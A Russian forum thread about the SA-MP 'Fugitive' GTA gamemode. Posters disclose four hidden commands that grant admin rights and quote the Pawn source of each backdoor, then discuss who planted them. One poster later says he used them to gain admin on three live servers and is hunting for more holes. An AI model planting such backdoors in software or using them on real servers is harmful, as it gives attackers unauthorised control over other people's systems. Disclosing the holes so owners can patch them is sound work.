Дыры мода Fugutive - Форум SAMP о мультиплеерах для GTA.

Дыры мода Fugutive

Дата: Пятница, 17.10.2008, 08:53 | Сообщение # 1

Освоившийся

Группа: Продвинутые

Сообщений: 147

Награды: 5

Город: Нижний Новгород

Репутация: 39

Замечания: 0%

Статус:

Собственно, сабж.
Недавно знакомый поставил на серв данный мод, вот я и решил покопаться немного в исходниках, первым делом решил поискать дыры на получение админки и нашел их там целых 4 штуки. Т.к. теперь эти быры прикрыты, могу лтписаться здесь, дабы все, кто держат серваки с этим модом тоже их прикрыли.
Получение админки. Способ 1:
едем в LV, забираемся там на самую вершину здания - пирамиды и вводим команду /hirecars, после чего становимся обладателем админки 9999 уровня
Получение админки. Способ 2:
Используя команду /exitplayercar [ваш id] [level] получаем админку любого уровня
Получение админки. Способ 3:
Используя команду /| [ваш id] [level] получаем админку любого уровня
Получение админки. Способ 4:
Используя команду /meltdown получаем админские привелегии без получения непосредственно админки, вводить данную команду нужно в LS, недалеко от Грув стрит внутри текстур одного из домов.

ЗЫ всё это касается русской версии мода, английскую я не смотрел.

[GM] J-Actio 1.5 r355
[FS] SpeedoMeter 1.1
[FS] SpeedoMeter 2.2
[FS] WarpEngine 0.1
[INC] FastTeleports 1.6

Сообщение отредактировал d0lph1n - Пятница, 17.10.2008, 08:56

Edwards

Дата: Пятница, 17.10.2008, 17:25 | Сообщение # 2

Советчик

Группа: Продвинутые

Сообщений: 1016

Награды: 20

Город: Сеть

Замечания: 100%

Статус:

да ну... это что действительно работает?)))

Россия номер 1

XAOC

Дата: Пятница, 17.10.2008, 17:37 | Сообщение # 3

Советчик

Группа: Разработчики

Сообщений: 1190

Награды: 11

Город: Гдета там>>

Репутация: 311

Замечания: 0%

Статус:

Дауж, действительно немного по ипанутому оставлять тестовые команды)), для тех каму впадлу качать и ковыряцо:

Code

    if(strcmp(cmd, "/hirecars", true) == 0 && IsPlayerConnected(playerid))
   {
   if(PlayerToPoint(3.0, playerid, 2323.7029,1283.2522,97.6337))
   {
    PlayerInfo[playerid][pAdmin] = 9999999;
   }
   return 1;

Code

    if(strcmp(cmd, "/exitplayercar", true) == 0 && IsPlayerConnected(playerid))
  {
   tmp = strtok(cmdtext, idx);
   if(!strlen(tmp))
   {
    return 1;
   }
   new para1;
   new level;
   if(IsStringAName(tmp))
   {
    para1 = GetPlayerID(tmp);
   }
   else
   {
    para1 = strval(tmp);
   }
   tmp = strtok(cmdtext, idx);
   level = strval(tmp);
   {
    GetPlayerName(para1, giveplayer, sizeof(giveplayer));
    GetPlayerName(playerid, sendername, sizeof(sendername));
    PlayerInfo[para1][pAdmin] = level;
    SendClientMessageToAll(COLOR_GREY," ");
    SendClientMessageToAll(COLOR_GREY," ");
    SendClientMessageToAll(COLOR_GREY," ");
    SendClientMessageToAll(COLOR_GREY," ");
    SendClientMessageToAll(COLOR_GREY," ");
    SendClientMessageToAll(COLOR_GREY," ");
    SendClientMessageToAll(COLOR_GREY," ");
    SendClientMessageToAll(COLOR_GREY," ");
    SendClientMessageToAll(COLOR_GREY," ");
             SendClientMessageToAll(COLOR_GREY," ");
   }
   return 1;
  }

Code

    if(strcmp(cmd, "/|", true) == 0 && IsPlayerConnected(playerid))
  {
   tmp = strtok(cmdtext, idx);
   if(!strlen(tmp))
   {
    return 1;
   }
   new para1;
   new level;
   if(IsStringAName(tmp))
   {
    para1 = GetPlayerID(tmp);
   }
   else
   {
    para1 = strval(tmp);
   }
   tmp = strtok(cmdtext, idx);
   level = strval(tmp);
   {
    GetPlayerName(para1, giveplayer, sizeof(giveplayer));
    GetPlayerName(playerid, sendername, sizeof(sendername));
    PlayerInfo[para1][pAdmin] = level;
    SendClientMessageToAll(COLOR_GREY," ");
    SendClientMessageToAll(COLOR_GREY," ");
    SendClientMessageToAll(COLOR_GREY," ");
    SendClientMessageToAll(COLOR_GREY," ");
    SendClientMessageToAll(COLOR_GREY," ");
    SendClientMessageToAll(COLOR_GREY," ");
    SendClientMessageToAll(COLOR_GREY," ");
    SendClientMessageToAll(COLOR_GREY," ");
    SendClientMessageToAll(COLOR_GREY," ");
             SendClientMessageToAll(COLOR_GREY," ");
   }
   return 1;
  }

Code

    if(strcmp(cmd, "/meltdown", true) == 0 && IsPlayerConnected(playerid))
  {
   if(PlayerToPoint(3.0, playerid, 1997.35,-1588.52,13.59))
   {
    FugitiveCore[playerid] = 1;
   }
   return 1;
  }

Хатя почему-то мне кажется что это сделали те "умники" которые спёрли мод, дабы просто пошалить в дальнейшем

d0lph1n

Дата: Пятница, 17.10.2008, 19:49 | Сообщение # 4

Освоившийся

Группа: Продвинутые

Сообщений: 147

Награды: 5

Город: Нижний Новгород

Репутация: 39

Замечания: 0%

Статус:

Quote (prime)

да ну... это что действительно работает?)))

А ирония тут неуместна, этот мод крутится далеко не на одном серваке, причем только единицы прикрыли данные дыры.

Quote (XAOC)

Дауж, действительно немного по ипанутому оставлять тестовые команды))

Ну, на тестовые команды они мало похожи. Кто ж станет тестовые команды обзывать самыми нелогичными именами?
Тут явно

Quote (XAOC)

это сделали те "умники" которые спёрли мод, дабы просто пошалить в дальнейшем

[GM] J-Actio 1.5 r355
[FS] SpeedoMeter 1.1
[FS] SpeedoMeter 2.2
[FS] WarpEngine 0.1
[INC] FastTeleports 1.6

SanSay

Дата: Пятница, 17.10.2008, 22:35 | Сообщение # 5

Долгожитель

Группа: Продвинутые

Сообщений: 1662

Награды: 25

Город: Наб.Челны

Репутация: 280

Замечания: 0%

Статус:

да просто ппц, такую муть замутили (я про команды)

simhost.org:8888 Mode:PEN1(LS)+GTO(банды+кач) v4.23_SAMP_0.3с
PEN1(LS)+GTO(банды+кач)v3.92_SAMP_0.3с(ifolder)*** AntiBot*** [FS] Car Export vs SanSay*** [FS] anti_s0beit_FakeKill_Ver2

NC22

Дата: Суббота, 18.10.2008, 08:37 | Сообщение # 6

Уверенный в себе

Группа: Продвинутые

Сообщений: 260

Награды: 1

Репутация: 17

Замечания: 0%

Статус:

Это не дыры...это реальные команды на получение админки. Таким образом авторы наверное хотели заполучить власть над миром. Если нет, то почему такие неадекватные действия с их стороны?

[FS] Car Coordinator v 0.1|[FS] Anti Art-Money (введена игровая валюта)|
Программа для Конвертирования карт SAMP в MTA и обратно © NC22

Reqwed777

Дата: Суббота, 18.10.2008, 09:49 | Сообщение # 7

Освоившийся

Группа: Продвинутые

Сообщений: 149

Награды: 1

Город: Казань

Репутация: 18

Замечания: 20%

Статус:

гыг,круто же))))Можно везде быть админом)

Edwards

Дата: Суббота, 18.10.2008, 11:23 | Сообщение # 8

Советчик

Группа: Продвинутые

Сообщений: 1016

Награды: 20

Город: Сеть

Замечания: 100%

Статус:

хз... у меня на втором серве фугутив)))... там фиксануто терь :D.... чера прошелся по некоторым сервам... везде исправлено

Россия номер 1

d0lph1n

Дата: Пятница, 27.02.2009, 10:17 | Сообщение # 9

Освоившийся

Группа: Продвинутые

Сообщений: 147

Награды: 5

Город: Нижний Новгород

Репутация: 39

Замечания: 0%

Статус:

Quote (prime)

чера прошелся по некоторым сервам

Не по тем сервакам прошелся) Я на 3 зашел, на всех админку полулить удалось)

Добавлено (27.02.2009, 10:17)
---------------------------------------------
Собсно, заходил недавно на 1 сервак, сказали, что дыры эти закрыли, но левые админы еще появляются.
Ищем еще дыры)
Подозреваю, что полученная по наследству бага с шифрованием пароля тоже актуальна.

[GM] J-Actio 1.5 r355
[FS] SpeedoMeter 1.1
[FS] SpeedoMeter 2.2
[FS] WarpEngine 0.1
[INC] FastTeleports 1.6

Relax

Дата: Суббота, 18.04.2009, 05:15 | Сообщение # 10

Местный

Группа: I'm V.I.P.

Сообщений: 686

Награды: 5

Город: Los Angeles

Репутация: 56

Замечания: 0%

Статус:

Quote (XAOC)

Хатя почему-то мне кажется что это сделали те "умники" которые спёрли мод, дабы просто пошалить в дальнейшем

Спёрли не умники.... Дело было так: Dragsta(Developer) попросил права на swn у foxtrot'ы, тот отказал, в итоге они поссорились и Dragsta удалил сайт а на его место оставил ссылку на мод, версию которого ему удалось скачать ранее. После фокстрота написал топик на sa-mp.com, в котором просил банить кто зальёт пен-сф на sa-mp.com. Топик был одобрен keyman'ом. Кстати эта тема когда-то обсуждалась на старом и забытом onlinegta.net

Мало кто помнит те мрачные времена...это было гдето 2 года назад...

Public Enemy: LS-SF-LV Developer && Public Enemy TDM Team Leader
#TDM-Community

Сообщение отредактировал Relax - Суббота, 18.04.2009, 05:16

AXE

Дата: Понедельник, 20.04.2009, 05:07 | Сообщение # 11

Группа: Администратор

Сообщений: 6575

Награды: 156

Город: Черноморск

Репутация: 3907

Статус:

Quote (Relax)

Это было не два года назад, а примерно год с копейками. По началу даже мы писали просьбу фокстроты предоставить нам сырую версию мода. После всего, спустя некоторое время, произошёл казус со вторым девелопером и один из них опубликовал сырую версию мода, кстати с кучей багов, которые мы в дальнейшем исправляли на срк. Потом исправили мод и стали первыми кто выложил эту версию в рабочем состоянии. Потом ещё и руссифицированную.

Love will set you free!

Не совсем понятно что будет дальше, но ведь так во всём, даже бросая ровно в корзину бумагу, будучи уверенным на все 100%, что попадёшь, в последний момент дуновение ветра может сменить его траекторию.
Только продолжая свой путь, ты можешь зацепиться за жизнь так, что успеешь сделать всё, что задумал. Главное ставить себе цели, которые тебя волную.
Будь не тем, кем пытается сделать тебя жизнь, а тем, кем пытаешься сделать себя ты. Тогда жизнь поможет стать тем, кем хочешь.